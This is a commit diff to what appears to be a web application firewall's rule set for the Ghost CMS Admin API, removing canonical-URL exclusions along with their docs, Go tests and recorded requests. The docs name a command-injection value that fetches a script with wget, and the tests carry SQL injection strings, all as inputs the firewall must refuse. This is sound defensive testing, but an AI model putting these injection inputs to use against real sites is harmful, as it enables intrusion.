Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
44708d5924 |
No files matched your search
@@ -1773,10 +1773,6 @@ member. A staff user's address skips them too: `username` when signing in, and
|
||||
`email` when creating the first staff user, asking for a password reset or
|
||||
saving a profile.
|
||||
|
||||
The `canonical_url` of a post or a page skips 930120 and 932120, as `url` does.
|
||||
A post's skips them under `/ghost/api/admin/posts/`, and a page's under
|
||||
`/ghost/api/admin/pages/`.
|
||||
|
||||
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
||||
|
||||
- `lexical`, which the editor saves, and `mobiledoc` and `html`, which
|
||||
@@ -1817,7 +1813,7 @@ fields, on the Admin API:
|
||||
(941170 and 941210). Path traversal and SQL injection are still refused in every
|
||||
field above. Script injection is too, outside the articles and code injection.
|
||||
`; wget http://example.com/x.sh` is still refused in the query fields, the plain
|
||||
text, the addresses and the canonical URLs.
|
||||
text and the addresses.
|
||||
|
||||
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
|
||||
That name holds `.profile`, a file on the list of system files, so the name
|
||||
|
||||
@@ -216,23 +216,6 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
|
||||
|
||||
# The canonical URL of a post or a page skips the two rules that url skips:
|
||||
# 930120: https://example.com/blog/.htaccess/
|
||||
# 932120: https://example.com/blog/powershell/
|
||||
# Each of these fields skips them only on its own path:
|
||||
# posts.<n>.canonical_url, under /ghost/api/admin/posts/
|
||||
# pages.<n>.canonical_url, under /ghost/api/admin/pages/
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
||||
"id:900383,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
|
||||
"id:900384,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
|
||||
|
||||
# Saving a staff user's profile sends the field profile_image, whose name holds
|
||||
# .profile, a file the list of system files names (930120).
|
||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||
|
||||
@@ -143,16 +143,6 @@ var ghostAddressFields = []ghostField{
|
||||
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
||||
}
|
||||
|
||||
// ghostCanonicalURLFields hold the canonical URL of a post or a page, and skip
|
||||
// 930120 and 932120, as url does.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostCanonicalURLFields = []ghostField{
|
||||
{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
|
||||
}
|
||||
|
||||
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
||||
// <script> element by 900366.
|
||||
//
|
||||
@@ -230,16 +220,13 @@ var ghostQueryFields = []string{
|
||||
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
||||
}
|
||||
|
||||
// ghostURLs are addresses 930120 and 932120 refused in url and in a canonical
|
||||
// URL.
|
||||
// ghostURLs are addresses 930120 and 932120 refused in url.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostURLs = []string{
|
||||
"https://github.com/example/site/blob/main/.htaccess",
|
||||
"https://example.com/blog/powershell-tips?ref=ghost",
|
||||
"https://example.com/docs/python3/",
|
||||
"https://example.com/blog/powershell/",
|
||||
"https://example.com/blog/.htaccess/",
|
||||
}
|
||||
|
||||
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
||||
@@ -340,10 +327,6 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
||||
|
||||
for _, address := range ghostURLs {
|
||||
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
||||
|
||||
for _, f := range ghostCanonicalURLFields {
|
||||
wantGhostField(t, f, address, false)
|
||||
}
|
||||
}
|
||||
|
||||
for _, address := range ghostAddresses {
|
||||
@@ -412,7 +395,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
|
||||
for _, attack := range ghostAttacks {
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostCanonicalURLFields, ghostArticleFields, ghostCodeFields) {
|
||||
ghostArticleFields, ghostCodeFields) {
|
||||
wantGhostField(t, f, attack, true)
|
||||
}
|
||||
|
||||
@@ -424,7 +407,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
// A script injection stays refused in every field that does not take a
|
||||
// <script> element.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostCanonicalURLFields, ghostSnippetAndNewsletterFooterFields) {
|
||||
ghostSnippetAndNewsletterFooterFields) {
|
||||
wantGhostField(t, f, scriptTag, true)
|
||||
}
|
||||
|
||||
@@ -433,10 +416,8 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
}
|
||||
|
||||
// A command after a separator stays refused wherever its rules do not
|
||||
// misfire: in the query fields, the plain text, the addresses and the
|
||||
// canonical URLs.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostCanonicalURLFields) {
|
||||
// misfire: in the query fields, the plain text and the addresses.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
|
||||
wantGhostField(t, f, commandAfterASeparator, true)
|
||||
}
|
||||
|
||||
@@ -481,8 +462,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
||||
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
||||
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
||||
postURL = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
|
||||
pageURL = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
|
||||
)
|
||||
|
||||
for _, refused := range []struct{ target, body string }{
|
||||
@@ -519,12 +498,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
||||
{ghostPosts, userEmail},
|
||||
{ghostUser + "?json.users.0.email=x", userEmail},
|
||||
{"/api/posts/1/", postURL},
|
||||
{ghostMembers, postURL},
|
||||
{ghostPage, postURL},
|
||||
{ghostPost + "?json.posts.0.canonical_url=x", postURL},
|
||||
{ghostPost, pageURL},
|
||||
{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
|
||||
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
||||
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
||||
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
||||
|
||||
@@ -533,8 +533,6 @@
|
||||
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5659a6dde5d0001d3d72e/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 713", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"posts\":[{\"title\":\"Getting started with PowerShell\",\"slug\":\"getting-started-with-powershell\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af5659a6dde5d0001d3d72e\",\"updated_at\":\"2026-11-12T07:07:12.000Z\"}]}"}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af565b96dde5d0001d3d735/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 701", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"pages\":[{\"title\":\"Rewrite rules in .htaccess\",\"slug\":\"rewrite-rules-in-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/.htaccess/\",\"id\":\"6af565b96dde5d0001d3d735\",\"updated_at\":\"2026-11-12T07:07:42.000Z\"}]}"}
|
||||
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
|
||||
@@ -26,10 +26,6 @@ import (
|
||||
// post is the start of a POST whose headers end with what follows it.
|
||||
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
|
||||
|
||||
// limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
|
||||
// body, the 64 KiB rproxy reads before it asks waf.
|
||||
const limitPastFirstPart = "128K"
|
||||
|
||||
// announcedLength is the header that announces a body of size bytes, and the
|
||||
// end of the headers.
|
||||
func announcedLength(size int) string {
|
||||
@@ -79,10 +75,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
||||
size, asked int
|
||||
}{
|
||||
{"with the limit within the first part", "1K", 1025, 1024},
|
||||
{
|
||||
"with the limit past the first part", limitPastFirstPart, 129 << 10,
|
||||
questionBodyMaxBytes,
|
||||
},
|
||||
{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
@@ -143,134 +136,6 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
waf http.HandlerFunc
|
||||
rest int
|
||||
status int
|
||||
}{
|
||||
{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
|
||||
{"denied", deny, 65 << 10, http.StatusForbidden},
|
||||
// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
|
||||
// connection's buffers. Otherwise the visitor is still sending when the
|
||||
// connection closes, and gets a reset.
|
||||
{
|
||||
"with more than 256 KiB left", allow, 272 << 10,
|
||||
http.StatusRequestEntityTooLarge,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, tc.waf)
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
t.Error("the app was asked")
|
||||
})
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL,
|
||||
map[string]string{maxRequestSize: limitPastFirstPart})
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+"Connection: close\r\n"+
|
||||
announcedLength(questionBodyMaxBytes+tc.rest)+
|
||||
strings.Repeat("x", questionBodyMaxBytes))
|
||||
|
||||
reader := bufio.NewReader(conn)
|
||||
|
||||
res, err := http.ReadResponse(reader, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("read the answer: %v", err)
|
||||
}
|
||||
|
||||
_, _ = io.Copy(io.Discard, res.Body)
|
